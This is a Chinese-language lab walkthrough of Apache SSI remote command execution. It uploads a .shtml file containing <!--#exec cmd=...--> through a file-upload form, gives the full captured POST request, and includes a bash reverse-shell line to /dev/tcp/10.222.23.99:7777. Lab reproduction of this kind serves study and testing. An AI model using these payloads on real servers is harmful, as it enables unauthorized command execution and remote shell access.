Apache SSI 远程命令执行漏洞
0x01漏洞概述
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。
0x02漏洞复现
(1)打开靶场环境
docker-compose up-d
(2) 访问漏洞地址
http://IP地址:8080/upload.php
(3) 将写好的shell.shtml文件,进行上传,并且利用burpsuite抓包。
shell.shtml文件如下:
<!--#exec cmd="ls" -->
POST /upload.php HTTP/1.1
Host: 192.168.207.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------352679218324923797792696282708
Content-Length: 251
Origin: http://192.168.207.132:8080
Connection: close
Referer: http://192.168.207.132:8080/upload.php
Upgrade-Insecure-Requests: 1
-----------------------------352679218324923797792696282708
Content-Disposition: form-data; name="file_upload"; filename="shell.shtml"
Content-Type: text/html
<!--#exec cmd="ls" -->
-----------------------------352679218324923797792696282708--
(4)发送到重发器中,查看上传结果
响应包中显示上传成功!
(5)点击shell.shtml,并且进行抓包
访问页面如下:
抓包结果如下:
命令执行成功,查看到路径下的文件。
(7)也可以反弹shell
写一个反弹shell文件,命令如下:
<!--#exec cmd="bash -i >& /dev/tcp/10.222.23.99/7777 0>&1"-->
再次访问网站页面上传shell1.shtml
(8) 在攻击机上输入监听命令
监听未成功。
(9)在docker容器内执行反弹shell命令
docker ps #查看docker
docker exec -it (CONTAINER ID) bash
bash -i >& /dev/tcp/10.222.23.99/7777 0>&1 #执行反弹shell命令
反弹shell成功,结果图如下:
(10) 关闭靶场环境
docker-compose down